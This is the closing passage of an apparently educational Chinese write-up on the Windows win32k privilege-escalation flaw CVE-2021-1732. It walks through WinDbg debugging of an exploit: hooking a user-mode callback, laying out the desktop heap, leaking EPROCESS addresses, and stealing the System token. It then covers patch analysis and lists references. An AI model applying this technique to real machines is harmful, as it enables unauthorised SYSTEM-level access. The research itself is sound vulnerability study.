nt!DbgBreakPointWithStatus:
fffff801`10dc7cc0 cc              int     3

最后重新加载符号:

kd> !sym noisy
noisy mode - symbol prompts on

kd> .reload /f
Loading User Symbols
... 等待其从微软符号服务器下载符号

可以看到加载了的模块都有对应的 pdb 了:

现在就可以:

  • 1.根据 IDA 上看到的地址来下断点(之前编译的时候已经关闭了随机基址,参考 2.2 节
  • 2.加载源码进行调试

对于第二种调试方法,选择 WinDbg 上方 File -> Open Source File,加载 CVE-2021-1732_Exploit.cpp,即可在源码窗口下断点:

5.4 获取 pdb 文件

对于调试过程中被调试进程已经加载了的模块,可以通过 .reload /f 指令来下载(上一部分已提及)。想要获得未加载模块的 pdb 文件,可以先在虚拟机中找到该模块,将其复制到宿主机中,再通过 WinDbg 同级目录下的 symchk.exe 来下载。

以 win32kfull.sys 为例,该驱动位于 C:\Windows\System32 目录下:

拷贝到宿主机后,找到 WinDbg 所在目录,使用 symchk 并指定 win32kfull.sys 路径:

之后就能在符号缓存目录下找到 pdb 了:

5.5 exp 关键点动态调试

5.5.1 挂钩 user32!_xxxClientAllocWindowClassExtraBytes

202 行下断点,运行到此处,先查看原 KernelCallbackTable[123] 表项,其指向 user32!_xxxClientAllocWindowClassExtraBytes:

步过后,该项被改为我们的挂钩函数:

5.5.2 内存布局情况

运行到 286 行,在 win32kfull!xxxCreateWindowEx+1182 下个断点,r15 为 tagWND2 的地址(IDA 查看函数偏移可以在 Options -> General 中勾选 Function offsets):

访问 *(*(&tagWND + 0x18) + 0x80) 得到桌面堆基址 0xffff892a81000000:

通过 EXP 的 g_pwnd 数组 0、1 两项可以获取到 tagWNDk0、tagWNDk1 相对于桌面堆的偏移:

故 tagWNDk0 地址为 0xffff892a81030bc0,tagWNDk1 地址为 0xffff892a81033b10,tagWNDk2 地址为 0xffff892a81033c60。继续运行到执行流返回 EXP 的 287 行,现在窗口 0 和窗口 2 的 pExtraBytes 均处于 offset 间接寻址模式,来看看他们的扩展内存在哪里:

可以看到,窗口 0 的扩展内存处于较低的地址,窗口 2 的扩展内存语义上指向了 tagWNDk0 ,这样的内存布局正符合我们的期望:

5.5.3 泄露 EPROCESS 地址

运行到 293 行,在 win32kfull!xxxSetWindowLongPtr 下断点,第一个参数为 tagWND0 的地址,保存在 rcx 寄存器:

运行到 306 行,同样在 win32kfull!xxxSetWindowLongPtr 下断点,第一个参数为 tagWND1 的地址,同样保存在 rcx 寄存器:

tagWND1 原来的 spMenu:

继续执行直到执行流返回 309 行,tagWND1.spMenu 就被修改为指向我们伪造的 tagMENU 结构体了:

接着 EXP 会通过三次 GetMenuBarInfo 来泄露进程 EPROCES 地址,让程序运行到读取完毕的 320 行,验证地址的正确性:

5.5.4 权限提升

让程序执行到 339 行,验证找到的 System 进程 EPROCESS 地址:

可以得知 System Token 为 0xffff9209cb20604a,且此时 tagWNDk1.pExtraBytes 处于直接寻址模式:

当前进程原来的 Token 为 0xffff9209d2acc067:

执行到 350 行(使用任意地址写能力修改当前进程 Token 结束后),再查看当前进程的 Token:

成功更换令牌,实现提权。


06 补丁分析

由于官网[24]上的补丁包我打不上,索性就用已经打满补丁的(4 月的包也更新了)Windows10 20H2 x64 宿主机来看吧,补丁打在了 win32kfull!xxxCreateWindowEx:


07 结语

完结撒花,感谢你耐心的阅读!如果前面的每个部分都细看了,那么相信现在你已经对 CVE 2021-1732 了若指掌了,恭喜你!同时也特别感谢 Kernel Killer 的 EXP 开发文档[5] 和 iamelli0t 的漏洞分析博客[12],这两篇文章数次拯救我于水深火热(大脑短路)之中。除此之外,我还推荐一篇奇安信威胁情报中心发的文章[10],其作者详细分析了在野攻击样本,满篇的动态调试弥补了本文动调方面的不足。

其实一开始我还想拿一个版块来写 KaLendsi[4] 的 EXP 分析,奈何本人精力有限,这篇不到 16000 字的 CVE 分析已经耗费了我大量的心血,虽然这可能与我第一次做 Windows 内核漏洞利用的分析有关(笑)。如果你阅读了 KaLendsi 的 EXP,劳烦你告知我他的做法,谢谢!而如果你有心去阅读 KaLendsi 的 EXP,本文已经给你提供了足够的能力,也希望你读懂后能与我交流 ~

最后我想说,即使校对了 3 遍,我还是不能打包票 —— 本文不存在笔误,毕竟我在各参考文献中就发现了不少的错误,这一点望读者海涵。如果我哪里写错而误导了你,请务必告知我以便及时修正,届时求轻喷呜呜呜


08 参考资料

[1] MSRC: Windows Win32k 特权提升漏洞公告

[2] 0Day攻击!首次发现蔓灵花组织在针对国内的攻击活动中使用Windows内核提权0Day漏洞(CVE-2021-1732)

[3] Github: k-k-k-k-k/CVE-2021-1732

[4] Github: KaLendsi/CVE-2021-1732-Exploit

[5] [原创]CVE-­2021­-1732 Microsoft Windows10 本地提权漏洞研究及Exploit开发

[6] WNDCLASSEXA structure (winuser.h)

[7] CreateWindowExW function (winuser.h)

[8] Win10 tagWnd partial member reverse (window hidden, window protected)

[9] Part 18: Kernel Exploitation -> RS2 Bitmap Necromancy

[10] Microsoft Windows提权漏洞 (CVE-2021-1732) 分析

[11] [原创]KeUserModeCallback用法详解

[12] CVE-2021-1732: win32kfull xxxCreateWindowEx callback out-of-bounds

[13] Windows源代码阅读之 句柄算法

[14] A simple protection against HMValidateHandle technique

[15] GetMenuBarInfo function (winuser.h)

[16] MENUBARINFO structure (winuser.h)

[17] SetWindowLongPtrW function (winuser.h)

[18] 通过ActiveProcessLinks遍历进程

[19] 使用AllocConsole在Win32程序中调用控制台调试输出

[20] 使用VMware + win10 + VirtualKD + windbg从零搭建双机内核调试环境

[21] Github: VirtualKD-Redux/release

[22] 下载 Windows 调试工具

[23] 使用符号服务器

[24] Microsoft Update Catalog

(完)